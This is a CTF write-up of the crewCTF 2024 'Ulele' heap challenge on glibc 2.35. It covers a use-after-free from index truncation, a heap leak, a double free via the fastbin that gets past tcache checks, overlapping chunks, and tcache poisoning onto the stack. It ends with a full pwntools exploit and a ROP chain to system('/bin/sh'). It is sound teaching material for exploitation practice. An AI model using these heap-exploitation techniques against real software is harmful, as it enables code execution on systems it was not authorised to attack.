0x00 Introduction
This is a CTF write-up for the challenges Ulele
in crewCTF 2024.
This is an after-ctf writeup since my teammate solved it during the game.
0x01 Ulele: Challenge
It’s a simple menu-heap challenge on glibc-2.35
. The users have three options to interact with the challenge
- add:
malloc(0x68)
and read0x64
bytes from users to fill the chunk - show: print the content of a chunk
- free: free a chunk
The bug is easy to locate if you reverse it meticulously: in show
and free
, only the lowest byte of the index is taken when free
/print
-ing the chunks.
We need at least 0x100 items to trigger the bug. There is an example to trigger the bug
for x in range(0x100):
add()
free(0x100)
In the above code, the free call frees the idx-0 chunk and zeros the point at idx-0x100. So we have UAF. Then, we can create some interesting primitives based on the UAF vulnerability:
- Read-After-Free
- Free-After-Free
After UAF, we can read the pointer on the chunk to leak a heap address. Also, we can free a freed chunk to exploit the challenge further.
0x01 Ulele: Leaking Heap
Heap leaking is easy to understand:
for x in range(0x240):
add()
free(0x100)
show(0x0)
ru(b': ')
heap = u64(ru(b'\n')[:-1].ljust(0x8,b'\0'))<<12
warn(hex(heap))
In the above code, we triggered the UAF and printed the content on a freed chunk to get its heap-page address.
0x02 Ulele: Double Free
There are several mitigations for Free-After-Free on glibc-2.35
so we can’t just double-free the chunk. In 2.35
, when a chunk is pushed into fast-bin
,
the tcache_entry
.key
is not set while the key
element is important to detect double free on tcache. We can take advantage of this to get Double-Free on glibc-2.35
.
Here is a C-code demo:
#include <stdio.h>
void debug(){
char a;
write(1,"DEBUG\n",6);
read(0,&a,1);
}
int main(){
char * list[0x8] = {};
for(int i = 0 ; i < 0x8 ; i ++)
list[i] = malloc(0x48);
malloc(0); //Guard
for(int i = 0 ; i < 0x8 ; i++)
free(list[i]);
malloc(0x48); // Pop one from Tcache
// Push a copy of the one in fast-bin into Tcache
free(list[0x7]); // Not Crash
debug();
free(list[0x0]); // Crash
}
- We fill the tcache and push some chunks to the fast bin.
- Then, we pop out some chunks in tcache.
- Push the one freed chunk into the tcache, which is already in the fast bin.
- So we have Double Free
If we pop out the double-freed chunk, we are able to write on it, which enables us to link any fake chunk to the fast bin. However, this method has some limits to use.
As we know (if you don’t know check the HITCON challenge one punch man
), when we run out of the chunks in the tcache, we gonna get chunks in the fast bin. And this action gonna
move as many chunks in the fast bin as possible into tcache, which means this option gonna go through a part of the fast-bin link and this option may lead to a crash because of the not properly faked chunk.
I spent some time thinking about the usual pattern for further exploitations:
0x03 Ulele: Double Free to OOB
The most straightforward primitive we can from double free get is overlapping. We can create overlapped chunks to achieve Out-of-Bound Read/Write.
Considering that the last linked chunk in the fast bin must end with 0. We must have such a pattern in fast-bin: ->...->A->0
, for example:
(0x70) fastbin[5]: 0x55555556ca20 --> 0x5555555899c0 --> 0x0
This is not easy if you link in an arbitrary address as the last chunk (we call it chunk A) because of safe-linking. Due to Safe-linking, the A->next
must be (&A)>>12
. This is not easy to get unless it’s freed chunks or it’s some area we are able to leave some data on. For the linking in freed chunks, it’s useless in this challenge since all freed chunks have the same size (so we can’t have oob). However, if we create a fake chunk at the end of one chunk, by linking it to the fast bin, we can get the oob primitives.
The following code demonstrates the case in the figure to gain OOB write based on double free.
#include <stdio.h>
void debug(){
char a;
write(1,"DEBUG\n",6);
read(0,&a,1);
}
void double_free_2_oob(size_t valid1){
size_t fake_chunk[] = {0,0,0,0,0,0,0,0x51,(valid1>>12)};
memcpy(valid1,fake_chunk,sizeof(fake_chunk));
char *buf = malloc(0x48);
size_t payload[ ] = {(valid1+0x30)^(valid1>>12),};
memcpy(buf,payload,sizeof(payload));
// debug();
malloc(0x48);
buf = malloc(0x48);
memset(buf,0x69,0x48); // OOB Write
}
int main(){
char * list[0x8] = {};
for(int i = 0 ; i < 0x8 ; i ++)
list[i] = malloc(0x48);
char * valid_chunk_0 = malloc(0x48);
char * valid_chunk_1 = malloc(0x48);
for(int i = 0 ; i < 0x8 ; i++)
free(list[i]);
for(int i = 0 ; i < 0x7 ; i++)
malloc(0x48); // Pop from Tcache
// Push a copy of the one in fast-bin into Tcache
free(list[0x7]); // Double Free
/*
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x5555555594c0 (overlap chunk with 0x5555555594c0(freed) )
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555555595b0 (size : 0x20a50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x50) tcache_entry[3](1): 0x5555555594d0
*/
double_free_2_oob(valid_chunk_0);
puts(valid_chunk_1);
// Link a fake chunk in
}
With this primitive, we are able to have oob access to the element list chunk on the heap (adding chunks will trigger vector reallocation). Then, we can do an arbitrary read to leak the libc base address and the stack address.
...
for x in range(0xdf-20+21):
add()
add(p64(0xdeadbeef)*9+flat([0x71,0x555555589-0x55555556c+(heap>>12),0])) # fakechunk to oob-write slot renew
for x in range(0x9):
free(0x101+x)
for x in range(7):
add()
free(0x101+8)
add(p64((heap>>12)^(0x5555555899c0-0x55555556c000+heap)))
add()
add(b'\0'*0x18+flat([0x3211,0x5555555899f0+8-0x55555556c000+heap,0x55555557add8-0x55555556c000+heap,0x5555555899f0+8-0x55555556c000+heap+0x10,0x5555555899d0-0x55555556c000+heap]))
show(0)
base = leak("Data: ")-0x1f2ce0-(0x7ffff7828000-0x7ffff7800000)
warn(hex(base))
free(2)
add(b'\0'*0x18+flat([0x3211,0x5555555899f0+8-0x55555556c000+heap,0x222200+base,0x5555555899f0+8-0x55555556c000+heap+0x10,0x5555555899d0-0x55555556c000+heap+0x10]))
show(0)
stack = leak("Data: ")
...
0x04 Ulele: Arbitrary Address Write
After leaking addresses, we now consider creating an AAW primitive. We need to link a fake chunk into tcache and then allocate it to gain AAW since there is no edit
feature in the challenge.
However, we already have OOB Write. And we all know that OOB writing on a freed chunk can link arbitrary addresses into tcache as a fake chunk.
- Free the blue chunk
- Create a fake chunk in the green chunk
- OOB writes to link arbitrary addresses into tcache as a fake chunk
- Allocate twice to get AAW
In this challenge, we do AAW to write our rop chain on the stack to get code execution:
...
for x in range(8):
free(0x120+x)
for x in range(7):
add()
free(0x199)
free(0x19a)
free(0x127)
add(p64(((heap>>12)+1)^(0x555555571b60-0x55555556c000+heap)))
add("TBF") # 19a 0x555555571bc0
mask = (heap>>12)+( 0x555555571- 0x55555556c)
add(flat([1,2,3,4,5,6,0,0x71,mask ^ (0x555555571b70-0x55555556c000+heap),0x71,mask]))
add()
free(0x199)
add(flat([1,2,3,4,5,6,7,8,0,0x71,((heap>>12)+( 0x555555571- 0x55555556c)) ^ (stack-(0x7fffffffdbf8-0x7fffffffda78+0x8))]))
add()
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = base
rop = ROP(libc)
rdi = rop.find_gadget(['pop rdi','ret'])[0]
ret = rdi+1
sh_str = libc.search(b"/bin/sh\0").__next__()
system = libc.sym['system']
chain = [ret]+[rdi,sh_str,system]
add(flat([1]+chain))
# gdb.attach(p)
p.interactive()
...
0x05 Ulele: The Whole Exploitation
from pwn import *
# context.log_level ='debug'
context.arch ='amd64'
'''
Libc Lib:
https://libc.rip/
'''
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
p=process('./ulele')#,env={"LD_PRELOAD":"/glibc/x64/2.35/lib/libc.so.6"})
# p = remote("ulele.chal.crewc.tf",1337)
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
# libc = ELF("../libc.so.6")
def cmd(c):
sla(b'>> ',str(c).encode())
def add(c='nop'):
cmd(1)
sa(": ",c)
def show(idx):
cmd(2)
sla(": ",str(idx).encode())
def free(idx):
cmd(3)
sla(": ",str(idx).encode())
def leak(a,x=0,mute=0):
ru(a)
if x: # when to stop
leaked = int(ru(x)[:-1],16)
else:
leaked = u64(p.read(6)+b'\0\0')
if mute==0:
warn(hex(leaked))
return leaked
for x in range(0x240):
add()
free(0x100)
show(0x0)
ru(b': ')
heap = u64(ru(b'\n')[:-1].ljust(0x8,b'\0'))<<12
warn(hex(heap))
for x in range(0xdf-20+21):
add()
add(p64(0xdeadbeef)*9+flat([0x71,0x555555589-0x55555556c+(heap>>12),0])) # fakechunk to oob-write slot renew
for x in range(0x9):
free(0x101+x)
for x in range(7):
add()
free(0x101+8)
add(p64((heap>>12)^(0x5555555899c0-0x55555556c000+heap)))
add()
add(b'\0'*0x18+flat([0x3211,0x5555555899f0+8-0x55555556c000+heap,0x55555557add8-0x55555556c000+heap,0x5555555899f0+8-0x55555556c000+heap+0x10,0x5555555899d0-0x55555556c000+heap]))
show(0)
base = leak("Data: ")-0x1f2ce0-(0x7ffff7828000-0x7ffff7800000)
warn(hex(base))
free(2)
add(b'\0'*0x18+flat([0x3211,0x5555555899f0+8-0x55555556c000+heap,0x222200+base,0x5555555899f0+8-0x55555556c000+heap+0x10,0x5555555899d0-0x55555556c000+heap+0x10]))
show(0)
stack = leak("Data: ")
for x in range(8):
free(0x120+x)
for x in range(7):
add()
free(0x199)
free(0x19a)
free(0x127)
add(p64(((heap>>12)+1)^(0x555555571b60-0x55555556c000+heap)))
add("TBF") # 19a 0x555555571bc0
mask = (heap>>12)+( 0x555555571- 0x55555556c)
add(flat([1,2,3,4,5,6,0,0x71,mask ^ (0x555555571b70-0x55555556c000+heap),0x71,mask]))
add()
free(0x199)
add(flat([1,2,3,4,5,6,7,8,0,0x71,((heap>>12)+( 0x555555571- 0x55555556c)) ^ (stack-(0x7fffffffdbf8-0x7fffffffda78+0x8))]))
add()
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = base
rop = ROP(libc)
rdi = rop.find_gadget(['pop rdi','ret'])[0]
ret = rdi+1
sh_str = libc.search(b"/bin/sh\0").__next__()
system = libc.sym['system']
chain = [ret]+[rdi,sh_str,system]
add(flat([1]+chain))
# gdb.attach(p)
p.interactive()
0x06 Summary
Things I learned from this challenge
- How to do double-free on glibc-2.35
- How to create overlap and fake-chunk-link with double-free ont glibc-2.35